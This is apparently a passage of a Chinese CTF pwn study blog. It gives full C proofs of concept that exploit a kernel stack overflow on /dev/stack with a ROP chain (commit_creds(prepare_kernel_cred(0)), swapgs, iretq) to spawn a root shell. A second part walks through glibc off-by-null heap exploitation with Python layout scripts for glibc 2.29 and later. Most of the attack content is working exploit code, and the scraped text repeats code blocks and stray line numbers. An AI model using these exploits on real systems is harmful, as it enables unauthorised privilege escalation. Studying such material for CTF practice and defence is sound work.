printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;

/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}


void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

方法二:

直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权,之后返回用户空间起shell。

1.ROP链

1
2
3
4
5
6
7
8
9
10
11
pop rdi;ret
0
prepare_kernel_cred_k
pop rdx;rbx;rbp;ret
pop rbp;ret
0
rbp_data
mov rdi,rax;call rdx
commit_creds_k
swapgs;ret
iretq

之后就是返回用户空间起shell了

2.解析执行流程

▲先是调用prepare_kernel_cred_k(0),然后通过将pop rbp;ret赋值给rdx,之后mov rdi,rax,然后call rdx,即调用pop rbp;ret,之后ret即可回到commit_creds_k

这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句,需要赋值rdi才能进行commit_creds函数的执行,即将prepare_kernel_cred_k(0)返回值给commit_creds函数。

Snipaste_2021-09-30_19-56-10

赋值

Snipaste_2021-09-30_19-57-47

之后又因为存在call这个语句,所以多了pop rbp;ret来将栈平衡掉,,从而能够直接ret到commit_creds

Snipaste_2021-09-30_20-03-46

同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>



unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;




printf(" addr[0x%llx]\n", memOffset);

/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;


/*
pop rdi;ret ffffffff8131750d
0
prepare_kernel_cred_k_addr
pop rdx;rbx;rbp;ret 0xffffffff8137ac33
commit_creds_k_addr
mov rdi,rax;call rdx 0xffffffff8109fc56
swags; ....
pop rbp;ret; 0xffffffff8137ac35
0xdeadbeef
iretq; ....
shell;
CS
EFLAGS
RSP
SS
*/


/* pop rdi;ret */
printf(" pop rdi at 0x%lx\n", pop_rdi_ret);
memcpy(p,&pop_rdi_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;

//prepare_kernel_cred_k
printf(" prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
memcpy(p,&prepare_kernel_cred_k,8);
p+=8;

//pop rdx;rbx;rbp;ret
printf(" pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
memcpy(p,&pop_rdx_rbx_rbp_ret,8);
p+=8;


//pop rbp;ret
printf(" pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
memcpy(p,&pop_rbp_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
p+=8;



//mov rdi,rax;call rdx
printf(" mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
memcpy(p,&movRdiRax_call_rdx,8);
p+=8;

//commit_creds_k
printf(" commit_creds_k at 0x%lx\n", commit_creds_k);
memcpy(p,&commit_creds_k,8);
p+=8;

/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;

/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客

二、Stack未被保护

解析

这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>


struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;




printf(" addr[0x%llx]\n", memOffset);

/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;


/* getroot */
memcpy(p,&getR,8);
p+=8;

/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;



/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}




▲这里如果加了SMEP保护,那么就会出现下列的错误

1
unable to execute userspace code (SMEP?) (uid: 1000)

image-20211004100138854

off-by-null总结

前言

off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。

一、原理解析

主要发生在_int_free的unlink中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//2.23 when size>global_max_fast

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}


if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}



/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

为了方便,依据物理地址相邻来命名如下:

Snipaste_2021-08-31_11-47-47

即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。

  • 先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出

  • 然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。

  • 若nextChunk不为top_chunk,再判断下一个Chunk的再下一个chunk的pre_inuse位来判断nextChunk是否处于释放状态,若是则进入unlink。

然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))               
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。

其次,这里还需要明白一个寻找chunk的原理。

  • 寻找preChunk:preChunk_addr = chunkP_addr - chunkP->pre_size
  • 寻找nextChunk:nextChunk_addr = chunkP_addr + chunkP->size

即以下源码,这个一直没有变化过:

1
2
3
4
5
6
7
8
9
10
11
12
/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)

所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)

Snipaste_2021-08-31_11-57-00

这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。

1.常用布局

1
2
3
4
5
6
7
add_malloc(0xf8,'\x00'*0xf8)	#0x1
add_malloc(0x68,'\x00'*0x68) #0x2
add_malloc(0xf8,'\x00'*0xf8) #0x3
add_malloc(0x68,'\x00'*0x68) #0x4
free(0x1)
edit(0x2,0x70,'\x00'*0x60+p64(0x70+0x100)+p16(0x100))
free(0x3)

off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。

2.注意事项

(1)顺序

此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。

(2)size位的设置

  • 0x100:这里注意到上面的布局中size位为0x100和0x70,这里的0x100就是为了通过off-by-null将0x101变成0x100设置的。当然设置为0x201,0x301通常也是一样的。

  • 0x70:这里就通常是为了方便打fastbin attack,从_malloc_hook处构造0x7f字节错位用的。

二、更新换代

1.Glibc2.27

这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。

2.Glibc2.29

从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。

(1)_int_free中的变化

1
2
3
4
5
6
7
8
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

加入的检查是

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

这里的p因为p = chunk_at_offset(p, -((long) prevsize));已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。

Snipaste_2021-08-31_11-57-00

(2)unlink变化

首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}

}

加入的检查,就加了一个if语句:

1
2
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。

按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。

Snipaste_2021-08-31_11-57-00

▲后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。

三、高版本花式绕过

这里将的是2.29及以上的版本

第一种

这个之前写过,参考这篇文章:

2.29下的off-by-null | PIG-007

或者t1an5g师傅的文章:

https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2

当然ex师傅的原始解析也很好:

http://blog.eonew.cn/archives/1233

但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。

第二种

这个也写过,参考这篇:

2.29-2.32下的off-by-null | PIG-007

当然我也是参考WJH师傅的:

glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)

这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。

第三种

这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:

堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)

这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。

▲先看最终的布局效果:

Snipaste_2021-08-31_18-42-42

这样就能通过两项检查了:

1
2
3
4
5
6
7
//_int_free中
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

//unlink中
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

(1)前置布局:

由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#get layout to let chunk0_addr = 0x****3a0
claim(0x88)# 0-6 #1-7
claim(0x98)# 7-13 #8-14
claim(0xa8)# 14-20 #15-21
claim(0xb8)# 21-27 #22-28
claim(0xc8)# 28-34 #29-35
claim(0xd8)# 35-41 #36-42
claim(0xe8)# 42-48 #43-49

#--------------------------
add_malloc(0x98,'\x00')# 49 #50
add_malloc(0x98,'\x00')# 50 #51 0x****f900
add_malloc(0x18,'\x00')# 51 #52 0x****f9a0
add_malloc(0xa8,'\x00')# 52 0 #53 0x****f9c0
add_malloc(0xb8,'\x00')# 53 1 #54 0x****fa70
add_malloc(0xd8,'\x00')# 54 2 #55 0x****fb30
add_malloc(0xd8,'\x00')# 55 #56
add_malloc(0xe8,'\x00')# 56 3 #57 0x****fcf0

#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)
edit(57,0x10,fakeChunk_nextChunk_preSize)# 56 #57

add_malloc(0xe8,'\x00')# 57 4 #58 0x****fde0
add_malloc(0x98,'\x00')# 58 #59
add_malloc(0xe8,'\x00')# 59 #60 0x****ff70
add_malloc(0x18,'\x00')# 60 #61

(2)填充tcache

并且将要利用的Chunk释放合并进入unsortedbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#free 0~48 		#1~49
#-------------------------
#--tcache
for i in range(0,7): #0x88
free(i+1)
for i in range(14,21):#0xa8
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
for i in range(35,42):#0xd8
free(i+1)
for i in range(42,49):#0xe8
free(i+1)
#--tcache

for i in range(52,57): #52~56 #53~57 merge into unsortedbin
free(i+1)

Snipaste_2021-08-31_19-41-25

1
2
graph TD;
0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)

(3)重构5357结构为97101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#---------------------------
# empty tcache
claim(0x88) #62~68
claim(0xa8) #69~75
claim(0xb8) #76~82
claim(0xd8) #83~89
claim(0xe8) #90~96
#---------------------------

#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(0x98,'\x00')# 52 #97 #0x****9c0
add_malloc(0x98,'\x00')# 53 #98 #0x****A60

fake_chunk_size = 0x98 * "a" + p16(0x200)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(98,0x98+0x2,fake_chunk_size)#53 #98
add_malloc(0x88,'\x00')#54 #99 #0x****B00
add_malloc(0x88,'\x00')#55 #100 #0x****B90
add_malloc(0xd8,'\x00')#56 #101 #0x****C70

重构之后如下

1
2
graph TD;
0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)

那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。

Snipaste_2021-08-31_20-07-33

(4)构造preChunk的fd和bk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#------tcache
for i in range(7,14):#0x98
free(i+1)
for i in range(0,7):#0x88
free(i+1)
for i in range(42,49):#0xe8
free(i+1)
#------tcache


free(51)#0x98 #50 #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(99)#0x88 #54 #99
#let 99->bk = chunk60_addr(0x****ff70)
free(60)#0xe8 #59 #60 #0x****ff70

Snipaste_2021-08-31_20-40-24

(5)再重构97~101为97->124->132->134

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
free(98)#0x98 	#53 	#98

#---------------add back
claim(0x88) #102~108
claim(0x98) #109~115
claim(0xe8) #116~122
#---------------add back

#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(0xd8,'\x00')# 0x32 #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(0xb8,'\x00')# 0x35 #124 0x****fa60

for i in range(0,7):#0x88
free(i+1)
#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块
free(100) #55 #100

claim(0x88) #125~131

#切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中
add_malloc(0xb8,'\x00')#0x36 #132 0x****fb20
add_malloc(0x98,'\x00')#0x37 #133 0x****f900
add_malloc(0x38,'\x00')#0x3b #134 0x****fbe0

重构之后如下

1
2
graph TD;
0(chunk97<br>0x98<br>0x****f9c0)-->1(chunk124<br>0xb8<br>chunk99被包含<br>0x****fa60)-->2(chunk132<br>0xb8<br>0x****fb20)-->3(chunk134<br>0x38<br>0x****fbe0)-->4(0xe0碎片)

(6)修复FD->bk和BK->fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#------tcache
for i in range(42,49):#0xe8
free(i+1)
for i in range(7,14):#0x98
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
#------tcache

#let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)
free(133) #0x37 #133 0x****f900
free(132) #0x36 #132 0x****fb20
#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)
free(123) #0x32 #123 0x****ff70

(7)再重构为97->124->157->134

方便将0x****ff700x****f900的对于fd,bk进行off-by-null,使得0xb20变为0xb00。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
free(59)  #58		#59		0x****fed0
